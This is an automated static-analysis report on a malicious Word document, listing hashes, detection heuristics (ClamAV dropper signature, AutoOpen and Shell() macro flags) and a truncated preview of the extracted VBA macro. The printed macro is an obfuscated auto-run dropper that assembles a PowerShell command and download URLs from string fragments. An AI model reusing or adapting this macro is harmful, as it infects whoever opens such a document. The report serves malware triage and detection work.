Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aa36cf98e1f9402c…

MALICIOUS

Office (OLE)

211.0 KB Created: 2017-12-22 13:27:00 Authoring application: Microsoft Office Word First seen: 2018-01-08
MD5: 7e0c9b1c63ebe92341f18903d42829d2 SHA-1: f7f12173e56cd4ab53913f2cd8df491a98e682f6 SHA-256: aa36cf98e1f9402ccd61cc6e6380173120b6bdb40e56a703e31ed02f166755e0
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon document opening. The macro utilizes the Shell() function, indicating an intent to execute an external command or program. This is further supported by the critical heuristic firing for Shell() calls in VBA and the ClamAV detection signature 'Img.Dropper.PhishingLure-6443153-0', suggesting a dropper or downloader functionality.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://OH5+OH5whTd+hiQ9GbjDqD8jD� In document text (OLE body)
    • http://OH5+OH5whTd+hiQ9GbjDqD8jDIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78824 bytes
SHA-256: 180b2bf967bb49d0e49c57708d19ae4362efc56cfdcfb619ae06ca4814cff655
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jildDvJjBIap"
Sub AutoOpen()
On Error Resume Next
WWiGjUhMH = 871 / Rnd(4) + HYFjDGLkLOiN + cqChHZmfsuuG * 9 + Int(VCcsISJqO * CStr(SICSOmFZHIlFP)) + nZmVFOdLdmlJ * CDate(3624 - 352183467 * 84 / 475) / TGPDuOAk - CSng(620)
YEGXsmVmz = 871 / Rnd(4) + PmvEijolzMG + QhFilTrFqrP * 9 + Int(OVfzMcHYjGVXMO * CStr(iOJOodtoZS)) + ACvroYXwq * CDate(3624 - 352183467 * 84 / 475) / AqYXEizJL - CSng(620)
iSXvJqhda = 871 / Rnd(4) + VjFfwbFdo + zANYJhYlq * 9 + Int(utiOjvdGlAHv * CStr(fUjvLZwzEKrOiF)) + lbSvmpYbBrvCzw * CDate(3624 - 352183467 * 84 / 475) / nJCDhDdmNLtlq - CSng(620)
inABqfVKi = 871 / Rnd(4) + IHHtiEPX + ANXhMfXuIoFktE * 9 + Int(sOquLRdjFztv * CStr(KwizntkdLFo)) + TkMWcbPDZA * CDate(3624 - 352183467 * 84 / 475) / NVLhXjRkS - CSng(620)
jzkKGHwzT = 871 / Rnd(4) + jJCXshQ + dWisAKiV * 9 + Int(cMNwuVVmWzC * CStr(UiPjUTGKz)) + AHVnNorwa * CDate(3624 - 352183467 * 84 / 475) / kfUnGImojkW - CSng(620)
Application.Run "iihUqjuqrkGZ", lZrSlVwwGmM
hNuJrOIjq = 871 / Rnd(4) + KiJLFbGHhva + afoKcdMjSi * 9 + Int(wStbiWaiP * CStr(AaAKbAhfjzow)) + mPUjliUJ * CDate(3624 - 352183467 * 84 / 475) / fRNtMzbl - CSng(620)
HNKqaEoAA = 871 / Rnd(4) + fBlfYzKGLKp + DvZruiwinhDvr * 9 + Int(lRMKjjkBpIX * CStr(tNiFnRv)) + JPQjJFDSp * CDate(3624 - 352183467 * 84 / 475) / zqnwNstBiJDCFR - CSng(620)
Ttpjzhtmz = 871 / Rnd(4) + SWBdAacSLr + hNzzpLmn * 9 + Int(PGJwPPQUSHEK * CStr(OdrrQADjlqOGm)) + rjKVGwOKLNCN * CDate(3624 - 352183467 * 84 / 475) / KIzDnAqzTIwv - CSng(620)
mjEdQusdj = 871 / Rnd(4) + kIlzMcESdo + PtYlmbF * 9 + Int(hYbMaUPJjvSKkB * CStr(XrRpoOvBiJsW)) + jsdTmiCAJvLcz * CDate(3624 - 352183467 * 84 / 475) / XWLiSOHAt - CSng(620)
UlRjmXwCi = 871 / Rnd(4) + YcnRwXCzlOvGNr + XiTiZHjfzIhVBQ * 9 + Int(MtcdYqkFMHQ * CStr(VlzOYalOs)) + XJqozoJQBAj * CDate(3624 - 352183467 * 84 / 475) / CCijSFmZ - CSng(620)
End Sub
Function lZrSlVwwGmM()
On Error Resume Next
jujFhLf = 871 / Rnd(4) + iAFHddK + wYjWGzNBiKj * 9 + Int(wHmCoapKHzTw * CStr(voOIcMPjCt)) + fEDjkaPkjUEbO * CDate(3624 - 352183467 * 84 / 475) / SDoAYAF - CSng(620)
CCHzAAfw = 871 / Rnd(4) + wjBKXPFa + HvrjkhCWWNBSO * 9 + Int(mvwFWcONAcchw * CStr(RPjXIiq)) + LawXPNjqt * CDate(3624 - 352183467 * 84 / 475) / irOOaJizbtuPG - CSng(620)
uRdzNI = Mid("H7APnCSWrsw21iWt+'wwOH5+OH5.cOH5+OH5itOH5+OH5izenship.g'+'uOhTd+hTdH5+OH5ide/OH5+OH5gOH5+O'+blY", 17, 76)
zXEaaQJIqz = 871 / Rnd(4) + CKKwsCzTEwNwX + XFZhiiQzrMAF * 9 + Int(JajislrC * CStr(YlhMnMPHNSfhj)) + aqSWWCSzwmso * CDate(3624 - 352183467 * 84 / 475) / YSVKfiihnzVvE - CSng(620)
zNrWSpUTqBK = 871 / Rnd(4) + iCoSZLwLpR + vmmvihaprokpiK * 9 + Int(iTHHCOibWzHSTi * CStr(PmKjuiJh)) + VFBkjzNG * CDate(3624 - 352183467 * 84 / 475) / bccDhPhQ - CSng(620)
FFFRiTb = 871 / Rnd(4) + jziabdrGnZOV + ZanuTzTrpsHzzB * 9 + Int(mrwaSSj * CStr(PMRKASiwvKiFGA)) + BwksuHb * CDate(3624 - 352183467 * 84 / 475) / bcqUwcoDjqc - CSng(620)
iIhoT = Mid("j0tw08iBvUAe ([cHhTd+h'+'TdaR]88+[cHaR]98+[cHaR]76),[cHaR]39)OXf.'+' ( EJxenv:'+'publi'+'C[13]+EJxeNv:hTd+hTdpuBLiC[5]+OH5xOH5)hTd).rEPLAce(hTdOH5hTd,[string][cHAR]39).rEPLAce(hTdOXL92aPXOiXq4E1p45s", 12, 170)
RIQojnjztdQ = 871 / Rnd(4) + QwWOHGjZ + iCQPYlwlwNtsYl * 9 + Int(KrGiLEv * CStr(dXtlnHwvEKzjEr)) + EqFwTTXR * CDate(3624 - 352183467 * 84 / 475) / KUEPzzNujCmri - CSng(620)
JcoDzSiMk = 871 / Rnd(4) + TBwNMcBLpHiY + jSvSwzBpSt * 9 + Int(ZizQCrFizwz * CStr(aWXUEvzz)) + HOtHwJRZhvAIS * CDate(3624 - 352183467 * 84 / 475) / iflJzBAYYkLVv - CSng(620)
jjEUBqFUqz = 871 / Rnd(4) + KizSpiY + zTjCrGH * 9 + Int(fGGCaSCivGw * CStr(ABFTZqu)) + VBijSIWkj * CDate(3624 - 352183467 * 84 / 475) / FHmGXflcZsbPWi - CSng(620)
iqmcAVw = Mid("rtFhQWnW://iloOH5+OH5g360.com/OH5'+'+OH5xfmo", 9, 34)
PjoKCRFD = 871 / Rnd(4) + dzuVtlSTEIF + oFSCwwHispSm * 9 + Int(zsiqJwbNqvjBfO * CStr(VLbcDPNuGVlN)) + MioiHVvtk * CDate(3624 - 
... (truncated)

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